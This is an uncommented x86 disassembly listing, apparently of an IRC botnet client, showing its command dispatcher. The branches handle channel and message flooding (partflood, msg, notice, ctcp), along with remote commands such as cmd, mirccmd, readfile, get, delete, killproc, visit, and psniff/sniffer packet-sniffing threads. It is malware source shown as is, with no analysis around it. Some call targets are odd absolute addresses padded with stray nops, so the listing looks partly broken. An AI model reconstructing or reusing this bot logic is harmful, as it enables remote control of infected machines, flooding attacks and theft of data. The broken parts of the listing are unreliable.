		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CDD
		push	[ebp+esi+var_80]
		call	sub_41BEF9
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41BEF9
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417DB7
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B940
		push	eax
		call	sub_41C006
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CDD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_404CDD:				; CODE XREF: sub_401AC7+31A2j
					; sub_401AC7+31A8j ...
		push	edi
		push	offset dword_42B93C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D44
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D44
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404D44:				; CODE XREF: sub_401AC7+3225j
					; sub_401AC7+3230j
		push	edi
		push	offset dword_42B924
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DAB
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DAB
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B910
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404DAB:				; CODE XREF: sub_401AC7+328Cj
					; sub_401AC7+3297j
		push	edi
		push	offset aNt	; "nt"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E12
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E12
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404E12:				; CODE XREF: sub_401AC7+32F3j
					; sub_401AC7+32FEj
		push	edi
		push	offset aMode	; "mode"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E79
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E79
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	eax
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 28h


loc_404E79:				; CODE XREF: sub_401AC7+335Aj
					; sub_401AC7+3365j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EB6
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EB6
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h


loc_404EB6:				; CODE XREF: sub_401AC7+33C1j
					; sub_401AC7+33CCj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EF3
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EF3
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h


loc_404EF3:				; CODE XREF: sub_401AC7+33FEj
					; sub_401AC7+3409j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F35
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F35
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_404F35:				; CODE XREF: sub_401AC7+343Bj
					; sub_401AC7+3446j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FA8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FA8
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h


loc_404FA8:				; CODE XREF: sub_401AC7+347Dj
					; sub_401AC7+3486j
		push	edi
		push	offset dword_42B88C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050F9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050F9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 2670EE1h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h
		call	sub_41C062
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4050F9:				; CODE XREF: sub_401AC7+34F0j
					; sub_401AC7+34FDj
		push	edi
		push	offset dword_42B888
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405191
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405191
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C062
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B860
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h


loc_405191:				; CODE XREF: sub_401AC7+3641j
					; sub_401AC7+364Ej
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405294
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405294
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_405294:				; CODE XREF: sub_401AC7+36D9j
					; sub_401AC7+36E8j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052D8
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E35
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4052D8:				; CODE XREF: sub_401AC7+37DCj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053CA
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053CA
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 2670EE1h
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B928
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4053CA:				; CODE XREF: sub_401AC7+3820j
					; sub_401AC7+382Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054BC
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054BC
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 24h
		call	sub_41C062
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 2670EE1h
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_4054BC:				; CODE XREF: sub_401AC7+3912j
					; sub_401AC7+391Fj
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055DA
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055DA
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B818
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 20h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B800
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2670EE1h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E8
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E8
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 10h


loc_4055DA:				; CODE XREF: sub_401AC7+3A04j
					; sub_401AC7+3A11j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405707
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405707
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B818
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 20h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2670EE1h
		nop
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h
		call	sub_41C062
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2670EE1h
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_405707:				; CODE XREF: sub_401AC7+3B22j
					; sub_401AC7+3B2Fj
		push	edi
		push	offset aRegister ; "register"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417AD7
		add	esp, 14h


loc_40574B:				; CODE XREF: sub_401AC7+3C4Fj
					; sub_401AC7+3C5Aj
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061E0
		mov	[ebp+arg_18], offset dword_4D239C


loc_405767:				; CODE XREF: sub_401AC7+3CC4j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577D
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577D
		push	eax
		call	dword_4C939C


loc_40577D:				; CODE XREF: sub_401AC7+3CA7j
					; sub_401AC7+3CADj
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4D8ABC
		jl	short loc_405767
		cmp	[ebp+var_8], ebx
		jnz	loc_4061E0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B788
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h
		jmp	loc_4061E0
; ---------------------------------------------------------------------------


loc_4057B5:				; CODE XREF: sub_401AC7+3180j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40955F
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40955F
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40953F
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40953F
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409526
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409526
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094EF
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094EF
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40942C
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40942C
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409381
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409381
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409336
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409336
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409321
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409321
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092F7
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092F7
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092D2
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092D2
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40926A
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40926A
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923E
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923E
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091E3
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091E3
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AF
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AF
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090DB
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090DB
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C0
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C0
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FD3
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FD3
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F5F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F5F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F0B
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F0B
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E86
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E86
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9A
		push	edi
		push	offset aOn	; "on"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C62
		push	20h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_405B8F
		push	offset dword_42B68C
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405B8F:				; CODE XREF: sub_401AC7+40BCj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD1
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD1
		mov	esi, [ebp+var_88]


loc_405BD1:				; CODE XREF: sub_401AC7+40ECj
					; sub_401AC7+4102j
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B1F
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_405C51


loc_405C3B:				; CODE XREF: sub_401AC7+4188j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_405C3B
; ---------------------------------------------------------------------------


loc_405C51:				; CODE XREF: sub_401AC7+4172j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset dword_42B620
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405C62:				; CODE XREF: sub_401AC7+40ACj
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081DE
		push	ebx
		push	20h
		call	sub_40B5A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C90
		push	eax
		push	offset dword_42B5E4
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405C90:				; CODE XREF: sub_401AC7+41BCj
		push	offset dword_42B5B8
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405C9A:				; CODE XREF: sub_401AC7+4097j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DE7
		push	edi
		push	offset aOn	; "on"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DAF
		push	21h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_405CDC
		push	offset unk_42B590
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405CDC:				; CODE XREF: sub_401AC7+4209j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
